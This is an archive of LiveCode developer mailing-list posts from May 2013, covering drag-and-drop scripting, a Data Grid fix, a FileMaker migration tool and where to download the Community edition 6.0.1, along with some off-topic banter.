hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From richmondmathewson at gmail.com Thu May 9 16:45:36 2013 From: richmondmathewson at gmail.com (Richmond) Date: Thu, 09 May 2013 23:45:36 +0300 Subject: [OT - I remembered this time] In-Reply-To: References: <5188E6F0.6020908@gmail.com> <134295697072.20130507080239@ahsoftware.net> <1367941984039-4664371.post@n4.nabble.com> <51892C07.1010604@warrensweb.us> <90333940445.20130507184002@ahsoftware.net> <00b701ce4b98$ff025c20$fd071460$@net> <102339465441.20130507201207@ahsoftware.net> <29344109381.20130507212931@ahsoftware.net> <40418684689.20130508181226@ahsoftware.net> <010101ce4c5b$5334d7b0$f99e8710$@net> <103426371361.20130508202033@ahsoftware.net> <013201ce4cc1$24ff3ff0$6efdbfd0$@net> Message-ID: <518C0AF0.8060200@gmail.com> On 05/09/2013 11:39 PM, Timothy Miller wrote: > On May 9, 2013, at 7:26 AM, Ralph DiMola wrote: > >> All he could think about was >> A, D, F, G...A, D, F, G...A, D, F, G... > I can't figure that one out. Hint? > > > > > Jerry Garcia dies, wakes up in a vast featureless space. Far in the distance he sees a tiny dot. As he walks toward it, he can gradually make out a piano, microphones, a drum set, and so on. He sees John Lennon sitting at the piano. Elvis, Mama Cass and Janis Joplin are ready to sing vocals, and George Harrison is all set to play rhythm guitar. In a guitar stand, there's a Stratocaster, waiting for Jerry. > > "Oh my God! There is a rock and roll heaven, and I'm going to play in the band." > > Elvis replies, "Heaven?! This isn't...." > > Karen Carpenter comes out from backstage, sits down at the drums. In her beautiful placid contralto voice, she slowly says, > > "Okay. 'Close to You.' 1... 2... 3... 4...." Let's just say that if I find Jerry Garcia, John Lennon or Janis Joplin anywhere near me in heaven, I'll ask for a transfer to hell directly; especially with regard to Jerry Garcia. Richmond. > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From bvg at mac.com Thu May 9 16:50:36 2013 From: bvg at mac.com (=?iso-8859-1?Q?Bj=F6rnke_von_Gierke?=) Date: Thu, 09 May 2013 22:50:36 +0200 Subject: FmPro Migrator - how well does it work? In-Reply-To: <1ECB7EC6-550E-4ACE-8D88-FA057D10A125@icloud.com> References: <1ECB7EC6-550E-4ACE-8D88-FA057D10A125@icloud.com> Message-ID: <398C1947-6F2C-49BF-9D8D-696C78805A87@mac.com> I have used a demo once, and it worked for what I needed (quick and dirty extraction). There's demo versions here: http://www.fmpromigrator.com/downloads/demo_software/index.html You could also ask David Simpson directly, he's a cool guy and is also offering conversions as a service for pay, if you want that kind of thing: dsimpson at dotcomsolutionsinc.net On 09.05.2013, at 17:31, Chris Sheffield wrote: > I'm trying to find out more about this application that's available in the RunRev store. Has anybody used it? Does it work well? > > I am *really* wanting to convert my company's current FileMaker database to a LiveCode application using MySQL as the database. The current FileMaker implementation is many years old, having been converted over and over again for each new version of FM. It has become extremely unwieldy and very difficult to maintain over the years. Trying to fix bugs or add new functionality is next to impossible. Part of this is my lack of knowledge when it comes to FileMaker scripting, which is pretty ugly I might add (sorry if I'm being offensive to any FileMaker devs out there). > > Anyway, just wondering if anyone has done something like this and if there are any major concerns to be aware of. The current database is quite large, and I worry about getting everything converted just right and getting all data imported into MySQL. It's our company's contact management system, tracking contacts, orders, invoices, etc., so it's pretty important. Would it be better to just start a new LiveCode application from scratch, and skip trying to convert it using a tool such as this? > > Thanks, > Chris > > > > -- > Chris Sheffield > Read Naturally, Inc. > www.readnaturally.com > > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode -- Use an alternative Dictionary viewer: http://bjoernke.com/bvgdocu/ Chat with other RunRev developers: http://bjoernke.com/chatrev/ From cmsheffield at icloud.com Thu May 9 16:53:54 2013 From: cmsheffield at icloud.com (Chris Sheffield) Date: Thu, 09 May 2013 14:53:54 -0600 Subject: FmPro Migrator - how well does it work? In-Reply-To: <398C1947-6F2C-49BF-9D8D-696C78805A87@mac.com> References: <1ECB7EC6-550E-4ACE-8D88-FA057D10A125@icloud.com> <398C1947-6F2C-49BF-9D8D-696C78805A87@mac.com> Message-ID: <73FD5FEC-8861-4E06-9B8D-28557DA19C33@icloud.com> Okay, thanks. I wasn't sure who the developer was. I haven't been able to get the demo to work for me so far. I think I'm just not getting the process quite right. Still playing with it... On May 9, 2013, at 2:50 PM, Bj?rnke von Gierke wrote: > I have used a demo once, and it worked for what I needed (quick and dirty extraction). There's demo versions here: > http://www.fmpromigrator.com/downloads/demo_software/index.html > > You could also ask David Simpson directly, he's a cool guy and is also offering conversions as a service for pay, if you want that kind of thing: > dsimpson at dotcomsolutionsinc.net > > > On 09.05.2013, at 17:31, Chris Sheffield wrote: > >> I'm trying to find out more about this application that's available in the RunRev store. Has anybody used it? Does it work well? >> >> I am *really* wanting to convert my company's current FileMaker database to a LiveCode application using MySQL as the database. The current FileMaker implementation is many years old, having been converted over and over again for each new version of FM. It has become extremely unwieldy and very difficult to maintain over the years. Trying to fix bugs or add new functionality is next to impossible. Part of this is my lack of knowledge when it comes to FileMaker scripting, which is pretty ugly I might add (sorry if I'm being offensive to any FileMaker devs out there). >> >> Anyway, just wondering if anyone has done something like this and if there are any major concerns to be aware of. The current database is quite large, and I worry about getting everything converted just right and getting all data imported into MySQL. It's our company's contact management system, tracking contacts, orders, invoices, etc., so it's pretty important. Would it be better to just start a new LiveCode application from scratch, and skip trying to convert it using a tool such as this? >> >> Thanks, >> Chris >> >> >> >> -- >> Chris Sheffield >> Read Naturally, Inc. >> www.readnaturally.com >> >> >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > > -- > > Use an alternative Dictionary viewer: > http://bjoernke.com/bvgdocu/ > > Chat with other RunRev developers: > http://bjoernke.com/chatrev/ > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From abilitybf at att.net Thu May 9 16:56:38 2013 From: abilitybf at att.net (Joe Hamburger) Date: Thu, 9 May 2013 13:56:38 -0700 (PDT) Subject: Data Grid Question In-Reply-To: References: <5179C0E3.3090802@economy-x-talk.com> <38B60E18-D904-42AA-9AC0-A121E3ACE493@verizon.net> <517A37F5.9080007@economy-x-talk.com> <517AE994.8080803@hindu.org> <51854112.9040002@economy-x-talk.com> <1367698110.84151.YahooMailRC@web181404.mail.ne1.yahoo.com> <1367861551.9648.YahooMailRC@web181404.mail.ne1.yahoo.com> <1368042533.36842.YahooMailRC@web181402.mail.ne1.yahoo.com> Message-ID: <1368132998.44907.YahooMailRC@web181406.mail.ne1.yahoo.com> Hi Mike, OK the messages were locked. When I unlocked them the datagrid works fine. It may make sense to delete the prefs files, but I don't know where they are. What are the names of the prefs files I need to delete? Thanks for your help, I really appreciate it. Joe ________________________________ From: Mike Bonner To: How to use LiveCode Sent: Wed, May 8, 2013 3:58:53 PM Subject: Re: Data Grid Question It sounds almost as if the datagrid substack has been removed. (the substack is added when you place a datagrid into your stack) the datagrid isn't functional without that substack. Is it there in the app browser? I also wonder if messages are locked or.. well not sure. If you start with a fresh new stack, drop a datagrid on it, and add data to the grid (even manually through the inspector) does it show? If you set the dgtext does it work? Are you having issues with every single stack that you use with a datagrid or just that stack? You might try adding a new empty datagrid to your stack, then delete it and when it asks if you want to delete the template stack, say no. Then test your other stack and see if it starts working. As for reloading LC, hard to say the best method without knowing OS. If its windows, you can probably uninstall it through the control panel. Linux, not sure. Mac not sure because i've never really had a problem that required a software removal. While at it, what version of lc are you on? If 6.0 community, i'd definitely grab the upgrade, it fixes a few issues. If you want to have your non-working stack looked at you're welcome to send it my way. Oh, just recalled one more thing. It might not hurt to remove the preferences file for LC, but I forget where they reside so you might need to dig around to locate. (appdata folder or somewhere therabout) _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From scott at tactilemedia.com Thu May 9 16:59:19 2013 From: scott at tactilemedia.com (Scott Rossi) Date: Thu, 09 May 2013 13:59:19 -0700 Subject: Drag and Drop In-Reply-To: <518C08C1.9080901@gmail.com> Message-ID: OK, I accepted your dare and was surprised to see that it worked (didn't used to). Nice. Though you're still left with the limitations of working within a single stack, and no dragging in or out. But if the technique works for you, awesome. Speaking as someone who has rolled custom drag-and-drop code (execute in your message box): go url "http://www.tactilemedia.com/site_files/downloads/TMdragndrop.rev" ...I'll suggest from experience that at some point it will benefit you to get a handle on the built-in routines. Regards, Scott Rossi Creative Director Tactile Media, UX/UI Design On 5/9/13 1:36 PM, "Richmond" wrote: >On 05/09/2013 11:07 PM, Scott Rossi wrote: >> Only you can know why you always use that technique, > >What? you expect me to know my own mind? LOL. > >I use that technique as I tend to use a single stack, or a signle stack >with associated palettes. > >> but with grab, >> there's no way to act upon events/messages while grab is active (thus >>you >> can't do cursor updates and provide user feedback), and you can't "grab" >> an object across stacks. > >Aha; got you. > >Why do I have a funny feeling that you could use > >mouseStillDown > >to get feedback > >Ha, ha,ha . . . I just made a stack containing a button "DRAG ME ABOUT" > >and a field "KOUNT" > >in the button I have this script: > >on mouseDown > grab me >end mouseDown > >on mouseStillDown > put fld "KOUNT" into KOUNT > add 1 to KOUNT > put KOUNT into fld "KOUNT" > wait 3 ticks >end mouseStillDown > >on mouseUp > put empty into fld "KOUNT" >end mouseUp > >Try it, I dare you . . . you get feedback. > >Richmond. > > >> >> Regards, >> >> Scott Rossi >> Creative Director >> Tactile Media, UX/UI Design >> >> >> >> >> On 5/9/13 12:42 PM, "Richmond" wrote: >> >>> On 05/09/2013 09:01 PM, Mark Wieder wrote: >>>> Ray Horsley writes: >>>> >>>>> What am I missing to get drag/drop working consistently? >>>> You might also want to look at >>>> >>>> >>>> >>>>>>>p- >>>> to-the-mat-a-primer> >>>> >>> Why do I always just use >>> >>> on mouseDown >>> grab me >>> end mouseDown >>> >>> then set up a load of images as dropTargets and have stuff like this in >>> the grabbedObject: >>> >>> on mouseUp >>> if not within (img "target", the mouseloc) then >>> set the loc of me to 857,673 >>> end if >>> end mouseUp >>> >>> must be missing something. >>> >>> Richmond. >>> >>> _______________________________________________ >>> use-livecode mailing list >>> use-livecode at lists.runrev.com >>> Please visit this url to subscribe, unsubscribe and manage your >>> subscription preferences: >>> http://lists.runrev.com/mailman/listinfo/use-livecode >>> >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >>subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > >_______________________________________________ >use-livecode mailing list >use-livecode at lists.runrev.com >Please visit this url to subscribe, unsubscribe and manage your >subscription preferences: >http://lists.runrev.com/mailman/listinfo/use-livecode > From dixonja at hotmail.co.uk Thu May 9 17:01:41 2013 From: dixonja at hotmail.co.uk (John Dixon) Date: Thu, 9 May 2013 22:01:41 +0100 Subject: link to 6.0.1 build 1513 Message-ID: Can someone please tell me where the link is to this ?... From cmsheffield at icloud.com Thu May 9 17:12:29 2013 From: cmsheffield at icloud.com (Chris Sheffield) Date: Thu, 09 May 2013 15:12:29 -0600 Subject: link to 6.0.1 build 1513 In-Reply-To: References: Message-ID: You should be able to download from your account on runrev.com. Just make sure you're logged in, click the My Products button on the right, then select 6.0.1 from the menu under your product. On May 9, 2013, at 3:01 PM, John Dixon wrote: > Can someone please tell me where the link is to this ?... > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From m.schonewille at economy-x-talk.com Thu May 9 17:20:28 2013 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Thu, 09 May 2013 23:20:28 +0200 Subject: link to 6.0.1 build 1513 In-Reply-To: References: Message-ID: <518C131C.5060709@economy-x-talk.com> Hi, Today, RunRev lost a potential customer exactly for this reason. He asked: where can I download it? I told him he had to create an account and if he needed any explanations he could write to runrev at support.com. He replied that if he has to write to support at this stage already, meaning even before being able to download, then RunRev is not ready for him. I fear that hundreds of customers think this way. I expect this community to grow much more quickly if RunRev put a bug red Download button in the middle of the front page, which would immediately download a zip, exe or dmg file for the detected operating system. The button needs a small caption, saying "choose different operating system". -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Use Color Converter to convert CMYK, RGB, RAL, XYZ, H.Lab and other colour spaces. http://www.color-converter.com Buy my new book "Programming LiveCode for the Real Beginner" http://qery.us/3fi On 5/9/2013 23:12, Chris Sheffield wrote: > You should be able to download from your account on runrev.com. Just make sure you're logged in, click the My Products button on the right, then select 6.0.1 from the menu under your product. > > From dixonja at hotmail.co.uk Thu May 9 17:23:45 2013 From: dixonja at hotmail.co.uk (John Dixon) Date: Thu, 9 May 2013 22:23:45 +0100 Subject: link to 6.0.1 build 1513 In-Reply-To: References: , Message-ID: Chris... I should have been a little clearer... I meant the community edition... There was a green banner in the top left when I logged into my products and I downloaded the community edition 6.0.1 build 1513 from there the other day... the green banner has gone and the link (in orange) now only offer to download 6.0.0... I just wondered where they had put it now... they seem to have a habit of letting us play 'hide & seek'...:-( > Subject: Re: link to 6.0.1 build 1513 > From: cmsheffield at icloud.com > Date: Thu, 9 May 2013 15:12:29 -0600 > To: use-livecode at lists.runrev.com > > You should be able to download from your account on runrev.com. Just make sure you're logged in, click the My Products button on the right, then select 6.0.1 from the menu under your product. > > > On May 9, 2013, at 3:01 PM, John Dixon wrote: > > > Can someone please tell me where the link is to this ?... > > > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From cmsheffield at icloud.com Thu May 9 17:32:57 2013 From: cmsheffield at icloud.com (Chris Sheffield) Date: Thu, 09 May 2013 15:32:57 -0600 Subject: link to 6.0.1 build 1513 In-Reply-To: References: Message-ID: Ah, sorry about that. Here's a direct link http://www.runrev.com/downloads/livecode/6_0_1/LiveCodeCommunityInstaller-6_0_1-Mac.dmg. If you need Windows, simply sub "Mac.dmg" with "Windows.exe" Not sure why it's not showing on their site... On May 9, 2013, at 3:23 PM, John Dixon wrote: > Chris... > > I should have been a little clearer... I meant the community edition... There was a green banner in the top left when I logged into my products and I downloaded the community edition 6.0.1 build 1513 from there the other day... the green banner has gone and the link (in orange) now only offer to download 6.0.0... > > I just wondered where they had put it now... they seem to have a habit of letting us play 'hide & seek'...:-( > >> Subject: Re: link to 6.0.1 build 1513 >> From: cmsheffield at icloud.com >> Date: Thu, 9 May 2013 15:12:29 -0600 >> To: use-livecode at lists.runrev.com >> >> You should be able to download from your account on runrev.com. Just make sure you're logged in, click the My Products button on the right, then select 6.0.1 from the menu under your product. >> >> >> On May 9, 2013, at 3:01 PM, John Dixon wrote: >> >>> Can someone please tell me where the link is to this ?... >>> >>> _______________________________________________ >>> use-livecode mailing list >>> use-livecode at lists.runrev.com >>> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >>> http://lists.runrev.com/mailman/listinfo/use-livecode >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From dixonja at hotmail.co.uk Thu May 9 17:36:03 2013 From: dixonja at hotmail.co.uk (John Dixon) Date: Thu, 9 May 2013 22:36:03 +0100 Subject: link to 6.0.1 build 1513 In-Reply-To: References: , , , Message-ID: Chris.. I thank you...:-) > Subject: Re: link to 6.0.1 build 1513 > From: cmsheffield at icloud.com > Date: Thu, 9 May 2013 15:32:57 -0600 > To: use-livecode at lists.runrev.com > > Ah, sorry about that. Here's a direct link http://www.runrev.com/downloads/livecode/6_0_1/LiveCodeCommunityInstaller-6_0_1-Mac.dmg. If you need Windows, simply sub "Mac.dmg" with "Windows.exe" > > Not sure why it's not showing on their site... From ambassador at fourthworld.com Thu May 9 17:41:22 2013 From: ambassador at fourthworld.com (Richard Gaskin) Date: Thu, 09 May 2013 14:41:22 -0700 Subject: link to 6.0.1 build 1513 In-Reply-To: References: Message-ID: <518C1802.2020703@fourthworld.com> John Dixon wrote: > I should have been a little clearer... I meant the community > edition... There was a green banner in the top left when I > logged into my products and I downloaded the community edition > 6.0.1 build 1513 from there the other day... the green banner > has gone and the link (in orange) now only offer to download 6.0.0... > > I just wondered where they had put it now... they seem to have a > habit of letting us play 'hide & seek'...:-( Apparently an account is only needed when you decide you want to license the Commercial Edition. Perhaps RunRev recently improved the site, as the Community Edition is currently very easy to find: 1. go to 2. Click the big link in the middle of the home page labeled "Learn More", which takes you to <> 3. Click the big link in the middle of that page labeled "Download LiveCode Now". That will start the download, with an optional registration form for those who wish to receive the newsletter and other mailings from RunRev: -- Richard Gaskin Fourth World LiveCode training and consulting: http://www.fourthworld.com Webzine for LiveCode developers: http://www.LiveCodeJournal.com Follow me on Twitter: http://twitter.com/FourthWorldSys From cmsheffield at icloud.com Thu May 9 17:45:36 2013 From: cmsheffield at icloud.com (Chris Sheffield) Date: Thu, 09 May 2013 15:45:36 -0600 Subject: link to 6.0.1 build 1513 In-Reply-To: <518C131C.5060709@economy-x-talk.com> References: <518C131C.5060709@economy-x-talk.com> Message-ID: <8392D4B9-F483-43B5-BD02-3477CBD84023@icloud.com> So I just noticed something. When I followed the links to the community edition, the download started for me automatically. There is also a link in case the download doesn't begin automatically. No creation of an account was necessary, even though you end up on a page where you can create an account. Do you have to create an account to activate? I haven't actually tried it yet, since I have the commercial version. Anyone know? On May 9, 2013, at 3:20 PM, Mark Schonewille wrote: > Hi, > > Today, RunRev lost a potential customer exactly for this reason. He asked: where can I download it? I told him he had to create an account and if he needed any explanations he could write to runrev at support.com. He replied that if he has to write to support at this stage already, meaning even before being able to download, then RunRev is not ready for him. > > I fear that hundreds of customers think this way. I expect this community to grow much more quickly if RunRev put a bug red Download button in the middle of the front page, which would immediately download a zip, exe or dmg file for the detected operating system. The button needs a small caption, saying "choose different operating system". > > -- > Best regards, > > Mark Schonewille > > Economy-x-Talk Consulting and Software Engineering > Homepage: http://economy-x-talk.com > Twitter: http://twitter.com/xtalkprogrammer > KvK: 50277553 > > Use Color Converter to convert CMYK, RGB, RAL, XYZ, H.Lab and other colour spaces. http://www.color-converter.com > > Buy my new book "Programming LiveCode for the Real Beginner" http://qery.us/3fi > > On 5/9/2013 23:12, Chris Sheffield wrote: >> You should be able to download from your account on runrev.com. Just make sure you're logged in, click the My Products button on the right, then select 6.0.1 from the menu under your product. >> >> > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From cmsheffield at icloud.com Thu May 9 17:48:58 2013 From: cmsheffield at icloud.com (Chris Sheffield) Date: Thu, 09 May 2013 15:48:58 -0600 Subject: link to 6.0.1 build 1513 In-Reply-To: <518C1802.2020703@fourthworld.com> References: <518C1802.2020703@fourthworld.com> Message-ID: <16A853CB-DCD2-4F52-96A2-22F9EE37DA68@icloud.com> Richard, You beat me to it. Sorry for the repeat. Although I'm still curious about activating. Is that still necessary with the community edition? On May 9, 2013, at 3:41 PM, Richard Gaskin wrote: > John Dixon wrote: > > > I should have been a little clearer... I meant the community > > edition... There was a green banner in the top left when I > > logged into my products and I downloaded the community edition > > 6.0.1 build 1513 from there the other day... the green banner > > has gone and the link (in orange) now only offer to download 6.0.0... > > > > I just wondered where they had put it now... they seem to have a > > habit of letting us play 'hide & seek'...:-( > > Apparently an account is only needed when you decide you want to license the Commercial Edition. > > Perhaps RunRev recently improved the site, as the Community Edition is currently very easy to find: > > 1. go to > > 2. Click the big link in the middle of the home page labeled "Learn More", which takes you to <> > > 3. Click the big link in the middle of that page labeled "Download LiveCode Now". > > That will start the download, with an optional registration form for those who wish to receive the newsletter and other mailings from RunRev: > > -- > Richard Gaskin > Fourth World > LiveCode training and consulting: http://www.fourthworld.com > Webzine for LiveCode developers: http://www.LiveCodeJournal.com > Follow me on Twitter: http://twitter.com/FourthWorldSys > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From warren at warrensweb.us Thu May 9 17:50:37 2013 From: warren at warrensweb.us (Warren Samples) Date: Thu, 09 May 2013 16:50:37 -0500 Subject: link to 6.0.1 build 1513 In-Reply-To: References: , Message-ID: <518C1A2D.8040109@warrensweb.us> On 05/09/2013 04:23 PM, John Dixon wrote: > I should have been a little clearer... I meant the community edition... There was a green banner in the top left when I logged into my products and I downloaded the community edition 6.0.1 build 1513 from there the other day... the green banner has gone and the link (in orange) now only offer to download 6.0.0... > > I just wondered where they had put it now... they seem to have a habit of letting us play 'hide & seek'...:-( There are several download links but they don't seem to have been updated. Changing them works, so: http://files.on-rev.com/LiveCodeCommunityInstaller-6_0_1-Mac.dmg http://files.on-rev.com/LiveCodeCommunityInstaller-6_0_1-Linux.x86 http://files.on-rev.com/LiveCodeCommunityInstaller-6_0_1-Windows.exe Generally (apart form the links not being the very latest version), downloading couldn't really be much easier. One goes to runrev.com and clicks anywhere on the huge banner promoting LiveCode Community Edition and it takes you to a page with download links. To see the download links for LC Community in the Store, including links to other OS versions, login and go to your products and then logout or try this direct link: http://www.runrev.com/store/account/products/ (these links are currently 6.0.0) Good luck! Warren From livfoss at mac.com Thu May 9 17:55:02 2013 From: livfoss at mac.com (Graham Samuel) Date: Thu, 09 May 2013 23:55:02 +0200 Subject: Context Menus - the look of the thing In-Reply-To: <518C050C.4030203@hyperactivesw.com> References: <6891CBDF-7BA3-4344-8BBE-945E50FB149E@mac.com> <518BD6AF.7040501@hyperactivesw.com> <518C050C.4030203@hyperactivesw.com> Message-ID: Thanks Jacque for your (three) replies, Problem solved - it seems a lot clearer the way you explain it! Graham On 9 May 2013, at 22:20, J. Landman Gay wrote: > On 5/9/13 2:54 PM, Graham Samuel wrote: >> I could not work out if each field >> would need its own button > > Forgot to answer that part. You only need one button. It will pop up under the mouse whenever it's called. > > -- > Jacqueline Landman Gay | jacque at hyperactivesw.com > HyperActive Software | http://www.hyperactivesw.com > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From m.schonewille at economy-x-talk.com Thu May 9 17:58:13 2013 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Thu, 09 May 2013 23:58:13 +0200 Subject: link to 6.0.1 build 1513 In-Reply-To: <8392D4B9-F483-43B5-BD02-3477CBD84023@icloud.com> References: <518C131C.5060709@economy-x-talk.com> <8392D4B9-F483-43B5-BD02-3477CBD84023@icloud.com> Message-ID: <518C1BF5.1080904@economy-x-talk.com> Hi Chris, For 6.0.0 you needed an account to activate, but this should have been removed from 6.0.1 (as I understand from earlier e-mails from Kevin). "Learn More" doesn't mean "Download Here", does it? :-) -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Use Color Converter to convert CMYK, RGB, RAL, XYZ, H.Lab and other colour spaces. http://www.color-converter.com Buy my new book "Programming LiveCode for the Real Beginner" http://qery.us/3fi On 5/9/2013 23:45, Chris Sheffield wrote: > So I just noticed something. When I followed the links to the > community edition, the download started for me automatically. There > is also a link in case the download doesn't begin automatically. No > creation of an account was necessary, even though you end up on a > page where you can create an account. Do you have to create an > account to activate? I haven't actually tried it yet, since I have > the commercial version. Anyone know? > From jacque at hyperactivesw.com Thu May 9 18:31:40 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Thu, 09 May 2013 17:31:40 -0500 Subject: link to 6.0.1 build 1513 In-Reply-To: <518C131C.5060709@economy-x-talk.com> References: <518C131C.5060709@economy-x-talk.com> Message-ID: <518C23CC.1020000@hyperactivesw.com> On 5/9/13 4:20 PM, Mark Schonewille wrote: > Hi, > > Today, RunRev lost a potential customer exactly for this reason. He > asked: where can I download it? I told him he had to create an account > and if he needed any explanations he could write to runrev at support.com. > He replied that if he has to write to support at this stage already, > meaning even before being able to download, then RunRev is not ready for > him. It would be a service to both this person and to RR if you tell him it is much easier than you thought, and point him to the main page. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From stephenREVOLUTION2 at barncard.com Thu May 9 18:49:10 2013 From: stephenREVOLUTION2 at barncard.com (stephen barncard) Date: Thu, 9 May 2013 15:49:10 -0700 Subject: [OT - I remembered this time] In-Reply-To: <518C0AF0.8060200@gmail.com> References: <5188E6F0.6020908@gmail.com> <134295697072.20130507080239@ahsoftware.net> <1367941984039-4664371.post@n4.nabble.com> <51892C07.1010604@warrensweb.us> <90333940445.20130507184002@ahsoftware.net> <00b701ce4b98$ff025c20$fd071460$@net> <102339465441.20130507201207@ahsoftware.net> <29344109381.20130507212931@ahsoftware.net> <40418684689.20130508181226@ahsoftware.net> <010101ce4c5b$5334d7b0$f99e8710$@net> <103426371361.20130508202033@ahsoftware.net> <013201ce4cc1$24ff3ff0$6efdbfd0$@net> <518C0AF0.8060200@gmail.com> Message-ID: I remember one time I asked Jerry for a recommendation for his local dentist here in San Francisco. He recommended a Dr. Payne, downtown. No, seriously. Dr. Payne was great, I don't remember a thing about the visit, except he had plants in his office. No, just plants. sqb On Thu, May 9, 2013 at 1:45 PM, Richmond wrote: > On 05/09/2013 11:39 PM, Timothy Miller wrote: > >> On May 9, 2013, at 7:26 AM, Ralph DiMola wrote: >> >> All he could think about was >>> A, D, F, G...A, D, F, G...A, D, F, G... >>> >> I can't figure that one out. Hint? >> >> >> >> >> Jerry Garcia dies, wakes up in a vast featureless space. Far in the >> distance he sees a tiny dot. As he walks toward it, he can gradually make >> out a piano, microphones, a drum set, and so on. He sees John Lennon >> sitting at the piano. Elvis, Mama Cass and Janis Joplin are ready to sing >> vocals, and George Harrison is all set to play rhythm guitar. In a guitar >> stand, there's a Stratocaster, waiting for Jerry. >> >> "Oh my God! There is a rock and roll heaven, and I'm going to play in the >> band." >> >> Elvis replies, "Heaven?! This isn't...." >> >> Karen Carpenter comes out from backstage, sits down at the drums. In her >> beautiful placid contralto voice, she slowly says, >> >> "Okay. 'Close to You.' 1... 2... 3... 4...." >> > > Let's just say that if I find Jerry Garcia, John Lennon or Janis Joplin > anywhere near me in heaven, > I'll ask for a transfer to hell directly; especially with regard to Jerry > Garcia. > > Richmond. > > ______________________________**_________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/**mailman/listinfo/use-livecode >> > > > ______________________________**_________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/**mailman/listinfo/use-livecode > -- Stephen Barncard San Francisco Ca. USA more about sqb From m.schonewille at economy-x-talk.com Thu May 9 18:49:51 2013 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Fri, 10 May 2013 00:49:51 +0200 Subject: link to 6.0.1 build 1513 In-Reply-To: <518C23CC.1020000@hyperactivesw.com> References: <518C131C.5060709@economy-x-talk.com> <518C23CC.1020000@hyperactivesw.com> Message-ID: <518C280F.1070903@economy-x-talk.com> Hi, It is not that much easier than I thought. The point is: there is no big red Download button on the main page. There is only a green "Learn More" button. Apparently, this is sufficient for people to lose interest. I told him clearly, I might be wrong and he should contact support while also pointing him to the main page, but he wasn't interested anymore. This happens to me several times a year. -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Use Color Converter to convert CMYK, RGB, RAL, XYZ, H.Lab and other colour spaces. http://www.color-converter.com Buy my new book "Programming LiveCode for the Real Beginner" http://qery.us/3fi On 5/10/2013 00:31, J. Landman Gay wrote: > On 5/9/13 4:20 PM, Mark Schonewille wrote: >> Hi, >> >> Today, RunRev lost a potential customer exactly for this reason. He >> asked: where can I download it? I told him he had to create an account >> and if he needed any explanations he could write to runrev at support.com. >> He replied that if he has to write to support at this stage already, >> meaning even before being able to download, then RunRev is not ready for >> him. > > It would be a service to both this person and to RR if you tell him it > is much easier than you thought, and point him to the main page. > From capellan2000 at gmail.com Thu May 9 19:00:15 2013 From: capellan2000 at gmail.com (Alejandro Tejada) Date: Thu, 9 May 2013 16:00:15 -0700 (PDT) Subject: Wikipedia's LiveCode page updated Message-ID: <1368140415558-4664625.post@n4.nabble.com> Hi, I just updated the LiveCode's entry in Wikipedia. Only added this information: ------------------ LiveCode is currently in v. 6.0, which includes many enhancements and multiple bug fixes for deployment in every OS platform, including iOS and Android. Bibliography Holgate, Colin. LiveCode Mobile Development Beginner's Guide Schonewille, Mark. Programming LiveCode for the Real Starter ------------------ Hopefully, a native english speaker and LiveCode 